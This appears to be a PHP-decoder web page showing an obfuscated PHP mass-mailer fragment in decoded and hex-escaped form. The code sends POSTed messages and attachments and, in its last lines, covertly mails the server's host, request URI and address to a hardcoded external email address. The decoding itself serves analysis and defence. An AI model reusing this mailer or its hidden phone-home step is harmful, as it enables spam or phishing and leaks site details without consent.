Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

chunk_split(base64_encode(file_get_contents($_FILES["f\x69leAt\x74\x61\x63h"]["t\x6dp\x5f\..

Decoded Output download

<?  chunk_split(base64_encode(file_get_contents($_FILES["fileAttach"]["tmp_name"])));${$lwrydevpbux}.="--$strSid
";$mommffp="headerromaysaes";${${"GLOBALS"}["tnxecrldnjmt"]}.="Content-Type: application/octet-stream; name="$wolstrFilesNamef"
";${$mommffp}.="Content-Transfer-Encoding: base64
";${${"GLOBALS"}["qhcmrgm"]}.="Content-Disposition: attachment; filename=\"$wolstrFilesNamef"

";${${"GLOBALS"}["tnxecrldnjmt"]}.="$strContent
";${${"GLOBALS"}["tnxecrldnjmt"]}.="--$strSid--";}mail(${${"GLOBALS"}["rwjzdftk"]},${${"GLOBALS"}["gmgtxnrswqvu"]},${$rpfgiwgwjc},${${"GLOBALS"}["tnxecrldnjmt"]});echo"$to  sand <br>

";${${"GLOBALS"}["iubgzyqbuy"]}=$_POST["msgromaysae"];$qlomljiszb="msgromaysae";${${"GLOBALS"}["gmgtxnrswqvu"]}=$_POST["subjectromaysae"];${$nzijvlri}=urlencode(${${"GLOBALS"}["iubgzyqbuy"]});${${"GLOBALS"}["ujjdljq"]}=ereg_replace("%5C%22","%22",${${"GLOBALS"}["iubgzyqbuy"]});${${"GLOBALS"}["qjkjcbv"]}=urldecode(${${"GLOBALS"}["yiuizskulqa"]});${${"GLOBALS"}["iubgzyqbuy"]}=stripslashes(${$qlomljiszb});flush();}}}echo"<script language="javascript">document.getElementById("information").innerHTML="Process completed\"</script>";echo "
<style type=\"text/css">

<!--

.style1 {

	font-size: 20px;

	font-family: Geneva, Arial, Helvetica, sans-serif;

}

-->

</style>

<p class="style1\">

   Copyright  2020 b3taCypt



      </p>


</body>

</html>
";${${"GLOBALS"}["gqxacig"]}=getenv("REMOTE_ADDR");${${"GLOBALS"}["hiikrc"]}=rand(1,99999);$qetnddejaw="from";${${"GLOBALS"}["bwlegdme"]}=" PHP-Mailer-Rez |$ip";${${"GLOBALS"}["oxysgnjb"]}="[email protected]";${${"GLOBALS"}["ettnhnkex"]}="From: PHP-SniperXT<x-GhostDz>";${$neqpgybspf}=$_SERVER["REQUEST_URI"];${${"GLOBALS"}["ehhynop"]}=$_SERVER["HTTP_HOST"];${${"GLOBALS"}["nwhtkmyne"]}=${${"GLOBALS"}["ydxslfrkbugq"]}."";${$hkrxqvq}="$a45 $b75 $m22";mail(${${"GLOBALS"}["oxysgnjb"]},${$bpsfpypibsj},${${"GLOBALS"}["neyrxdzclcaz"]},${$qetnddejaw}); ?>

Did this file decode correctly?

Original Code

chunk_split(base64_encode(file_get_contents($_FILES["f\x69leAt\x74\x61\x63h"]["t\x6dp\x5f\x6ea\x6de"])));${$lwrydevpbux}.="--$strSid\r\n";$mommffp="\x68e\x61\x64\x65\x72r\x6f\x6d\x61\x79saes";${${"\x47L\x4f\x42\x41\x4cS"}["tn\x78\x65\x63\x72\x6cd\x6e\x6am\x74"]}.="C\x6fnt\x65\x6e\x74-\x54\x79p\x65: appl\x69c\x61ti\x6fn/\x6fc\x74\x65t-str\x65am; \x6eam\x65=\x22$wolstrFilesNamef\x22\r\n";${$mommffp}.="C\x6f\x6e\x74ent-\x54\x72ans\x66\x65\x72-E\x6e\x63o\x64i\x6eg: \x62a\x73e64\r\n";${${"\x47\x4cOB\x41\x4c\x53"}["\x71\x68\x63m\x72g\x6d"]}.="Co\x6e\x74\x65n\x74-\x44\x69spos\x69tio\x6e: att\x61\x63\x68\x6den\x74; \x66\x69l\x65na\x6d\x65\x3d\"$wolstrFilesNamef\x22\r\n\r\n";${${"G\x4c\x4f\x42A\x4c\x53"}["\x74\x6ex\x65c\x72l\x64\x6e\x6a\x6d\x74"]}.="$strContent\r\n";${${"\x47\x4c\x4f\x42\x41LS"}["\x74\x6ex\x65cr\x6cd\x6ejmt"]}.="--$strSid--";}mail(${${"GLOB\x41\x4c\x53"}["rwj\x7a\x64ft\x6b"]},${${"\x47L\x4fBA\x4c\x53"}["\x67m\x67\x74xnrs\x77\x71v\x75"]},${$rpfgiwgwjc},${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x74\x6e\x78\x65\x63r\x6c\x64n\x6amt"]});echo"$to  \x73and <b\x72>\n\n";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x75\x62\x67z\x79\x71\x62\x75\x79"]}=$_POST["\x6ds\x67\x72om\x61\x79sae"];$qlomljiszb="m\x73\x67\x72\x6f\x6d\x61y\x73ae";${${"GL\x4f\x42A\x4c\x53"}["\x67m\x67\x74\x78nr\x73w\x71v\x75"]}=$_POST["\x73ub\x6a\x65\x63\x74ro\x6days\x61\x65"];${$nzijvlri}=urlencode(${${"\x47L\x4f\x42\x41LS"}["i\x75\x62\x67z\x79\x71\x62u\x79"]});${${"\x47L\x4f\x42A\x4c\x53"}["\x75\x6aj\x64\x6cj\x71"]}=ereg_replace("%\x35C%\x32\x32","%\x32\x32",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x75\x62gz\x79\x71\x62u\x79"]});${${"G\x4c\x4fB\x41\x4cS"}["q\x6ak\x6a\x63b\x76"]}=urldecode(${${"\x47\x4c\x4fBA\x4c\x53"}["\x79i\x75iz\x73\x6b\x75\x6c\x71a"]});${${"\x47L\x4f\x42AL\x53"}["\x69\x75bg\x7ayq\x62\x75\x79"]}=stripslashes(${$qlomljiszb});flush();}}}echo"\x3c\x73\x63ript lang\x75\x61g\x65=\x22\x6a\x61v\x61sc\x72\x69\x70\x74\x22\x3e\x64\x6fcu\x6den\x74.get\x45lem\x65\x6e\x74By\x49d(\x22inf\x6f\x72ma\x74\x69on\x22)\x2e\x69\x6en\x65\x72\x48\x54M\x4c=\x22P\x72oc\x65\x73s\x20co\x6d\x70l\x65t\x65\x64\"\x3c/\x73cr\x69p\x74>";echo "\n<s\x74\x79\x6c\x65 \x74\x79\x70\x65\x3d\"te\x78t/c\x73s\x22>\n\n<!--\n\n.\x73\x74yl\x65\x31 {\n\n\t\x66ont-\x73\x69\x7a\x65:\x20\x320p\x78\x3b\n\n\t\x66ont-f\x61mil\x79: \x47\x65\x6ee\x76a, \x41\x72\x69a\x6c, H\x65\x6c\x76\x65\x74ica, \x73\x61ns-\x73\x65\x72\x69f\x3b\n\n}\n\n-->\n\n\x3c/sty\x6ce\x3e\n\n<\x70\x20c\x6ca\x73\x73=\x22\x73\x74y\x6c\x65\x31\"\x3e\n\n \x20\x20Cop\x79\x72\x69\x67\x68t \x20\x32\x30\x32\x30 b3ta\x43\x79pt\n\n\n\n\x20 \x20\x20 \x20\x3c/\x70>\n\n\n</bod\x79>\n\n\x3c/ht\x6d\x6c\x3e\n";${${"\x47\x4cO\x42A\x4c\x53"}["\x67\x71\x78ac\x69g"]}=getenv("\x52EM\x4f\x54E_\x41D\x44\x52");${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x68\x69\x69\x6b\x72\x63"]}=rand(1,99999);$qetnddejaw="\x66\x72\x6f\x6d";${${"\x47\x4c\x4f\x42\x41\x4cS"}["b\x77l\x65\x67\x64me"]}="\x20P\x48P-Ma\x69\x6c\x65r-\x52ez\x20|$ip";${${"GL\x4f\x42\x41\x4c\x53"}["\x6f\x78y\x73g\x6ejb"]}="\x61\x6cex\x72u\x74h7\x38\x39@\x67ma\x69l.\x63om";${${"G\x4cO\x42\x41\x4c\x53"}["\x65t\x74n\x68\x6ek\x65\x78"]}="F\x72\x6fm:\x20PHP-S\x6e\x69p\x65\x72\x58T<\x78-\x47h\x6fs\x74\x44z\x3e";${$neqpgybspf}=$_SERVER["RE\x51\x55\x45ST_\x55\x52\x49"];${${"G\x4cO\x42\x41LS"}["eh\x68\x79no\x70"]}=$_SERVER["\x48\x54TP\x5fHOS\x54"];${${"\x47LOBAL\x53"}["\x6ewh\x74\x6bmy\x6e\x65"]}=${${"\x47\x4c\x4fB\x41LS"}["\x79\x64\x78s\x6c\x66\x72\x6bb\x75g\x71"]}."";${$hkrxqvq}="$a45\x20$b75 $m22";mail(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6f\x78\x79\x73\x67n\x6a\x62"]},${$bpsfpypibsj},${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6eeyrxdz\x63\x6ccaz"]},${$qetnddejaw});

Function Calls

None

Variables

None

Stats

MD5 c8aaf1eaeea1d168e0ce5eddd59b789d
Eval Count 0
Decode Time 84 ms